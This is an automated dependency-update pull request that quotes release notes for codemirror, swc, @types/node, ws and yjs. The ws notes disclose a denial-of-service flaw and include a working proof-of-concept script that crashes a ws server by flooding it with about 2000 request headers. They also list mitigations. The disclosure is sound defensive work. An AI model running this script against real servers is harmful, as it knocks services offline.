Update all non-major dependencies

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
@codemirror/autocomplete	6.16.2 -> 6.16.3
@swc/core (source)	1.5.29 -> 1.6.3
@types/node (source)	20.14.2 -> 20.14.5
ws	8.17.0 -> 8.17.1
yjs (source)	13.6.16 -> 13.6.18

---

Release Notes

codemirror/autocomplete (@​codemirror/autocomplete)

v6.16.3

Compare Source

Bug fixes

Avoid adding an aria-autocomplete attribute to the editor when there are no active sources active.

swc-project/swc (@​swc/core)

v1.6.3

Compare Source

Bug Fixes

• (css/minifier) Don't tranform rotate deg (#​9072) (8d37dae)

• (es/decorators) Reduce the number of sourcemap mappings (#​9074) (cfe3ba3)

Performance

• (common) Use Chars in StringInput (#​9073) (7698eaa)

• (es/lexer) Optimize lexer (#​9075) (6426928)

• (es/lexer) Make lexing of string literals faster (#​9077) (373bac5)

• (es/lexer) Reduce allocation while lexing identifiers (#​9076) (69f00b8)

• (es/lexer) Add a fast-path to template literal lexer (#​9080) (238f1c5)

• (es/lexer) Add fast-path to jsx lexer (#​9081) (af58606)

Refactor

• (common) Simplify StringInput implementation (#​9071) (c3a8c0b)

v1.6.1

Compare Source

Bug Fixes

• (common) Revert Use SourceMap::adjust_mappings (#​9058) (cdd20cd)

Performance

• (es/parser) Reduce allocations while lexing numbers (#​9057) (ca26eb7)

v1.6.0

Compare Source

Features

• (common) Use SourceMap::adjust_mappings (#​9052) (eda2e45)

• (es/ast) Add more utilities (#​9054) (ab226dc)

Performance

• (es/lints) Avoid needless allocations in no-dupe-args (#​9041) (e560198)

• (es/parser) Do not track raw by hand (#​9047) (60fe5f0)

• (es/parser) Reduce allocations for raw while lexing numbers (#​9056) (bc8ec62)

Refactor

• (es/ast) Remove unused fields of TsPropertySignature (#​8955) (6306778)

• (es/parser) Remove unused raw: Raw params (#​9048) (32e23ed)

• (es/utils) Refine some APIs (#​9049) (e856478)

Testing

• (es/parser) Add benchmarks (#​9044) (11bba26)

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

yjs/yjs (yjs)

v13.6.18

Compare Source

• fix #​645 yjs/y-utility#8 2e5abad
• add lexical editor 3f1746f

v13.6.17

Compare Source

• fix creating relative position from json when type name is the empty string d4dac55
• Merge pull request #​649 from szv/readme-fixes a47a48b
• Fixed markdown link for ellipsus.org in README.md 2e79d03
• Fixed star icon in README.md 88506f6

---

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.